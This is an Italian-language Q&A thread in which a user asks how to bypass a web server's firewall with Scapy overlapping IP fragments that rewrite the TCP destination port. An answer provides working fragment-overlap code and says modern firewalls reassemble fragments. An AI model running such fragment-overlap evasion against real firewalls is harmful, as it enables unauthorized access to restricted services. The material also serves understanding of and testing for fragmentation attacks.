L'attacco frammentato sovrapposto usando Scapy

3

Come utilizzare Scapy per sovrascrivere una parte delle informazioni dell'intestazione TCP del primo frammento, che conteneva dati che è stato permesso di passare attraverso il firewall, con dati dannosi nei frammenti successivi?

Ad esempio: sovrascrivi il numero della porta di destinazione per cambiare il tipo di servizio, ovvero passa dalla porta 80 (HTTP) alla porta 23 (Telnet) che non sarebbe consentito passare il router in circostanze normali.

Voglio sovrascrivere la porta di destinazione per connettermi al nuovo numero di porta. E sto cercando di aggirare le restrizioni del firewall sul server web remoto che consente solo il traffico web su 80 porte.

Ho usato questo codice di esempio, ma non ricevo una risposta dal computer di destinazione:

dstIP=’10.0.2.17’

frag1=IP(dst=dstIP, id=12345, proto=1, frag=0, flags=1)/TCP(dport=80)/ICMP(type=8,
code=0, chksum=0xdce8)

frag2=IP(dst=dstIP, id=12345, proto=1, frag=2, flags=1)/TCP(dport=23)/”ABABABAB”

frag3=IP(dst=dstIP, id=12345, proto=1, frag=1,flags=0)/TCP(dport=23)/”AAAAAAAABABABABACCCCCCCC”

send(frag1)
send(frag2)
send(frag3)
    
posta TMR 22.02.2014 - 23:33
fonte

1 risposta

1

Crea un'intestazione IP falsa che suggerisce proto=tcp . Si noti che non è possibile modificare i campi di intestazione IP con una sovrapposizione di frammenti poiché si tratta della frammentazione del payload IP. Imposta il flag MF More Fragments e indica che questo è il primo frammento impostando l'offset su 0 frag=0 . Crea un altro pacchetto IP con lo stesso IP.id, IP.src, IP.dst, IP.proto con il flag MF non impostato (l'ultimo frammento non ha MF bit set). Questo pacchetto sta per sovrapporsi al payload IP con uno specifico offset quindi imposta l'offset del frammento frag=x dove la posizione effettiva nel tuo payload è x*8 cioè offset=1 è la posizione di byte 8 (questo sarebbe il checksum TCP) .

Ecco un semplice esempio:

# create two IP packets, one with 1480 payload bytes and one with 4 payload bytes
# initial payload is TCP with sport/dport being 9999

frags = fragment(IP(dst=dstIP)/TCP(sport=9999,dport=9999)/("FAKE"*(1464//4)))

# [<IP  flags=MF frag=0 proto=tcp dst=10.0.2.17 |<Raw  load="'\x0f'\x0f\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5n\x00\x00FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE" |>>, <IP  flags= frag=185 proto=tcp dst=10.0.2.17 |<Raw  load='FAKE' |>>]
# overwrite the 4 payload bytes of fragment 2 to overlap the reassembled IP packet at offset 0 to overwrite sport/dport to port 80,80

frags[1][Raw].load=struct.pack("!HH",80,80)  # network byteorder
frags[1][IP].frag=0
# <IP  flags= frag=0 proto=tcp dst=10.0.2.17 |<Raw  load='\x00P\x00P' |>>

# send your fragments and watch them being reassembled in wireshark/...
# they should show up the initial IP/TCP/sport=dport=9999 packet but with sport/dport being set to 80
send(frags)

Questo verrà riassemblato in:

IP(dst=dstIP)/TCP(sport=80,dport=80)/("FAKE"*(1460//4))

Si noti che è ancora necessario correggere il checksum TCP ei firewall moderni di solito utilizzano la deframmentazione IP e il riassemblaggio del flusso TCP per valutare il pacchetto / segmento riassemblato effettivo invece di uno dei suoi frammenti.

    
risposta data 07.10.2015 - 01:18
fonte

Leggi altre domande sui tag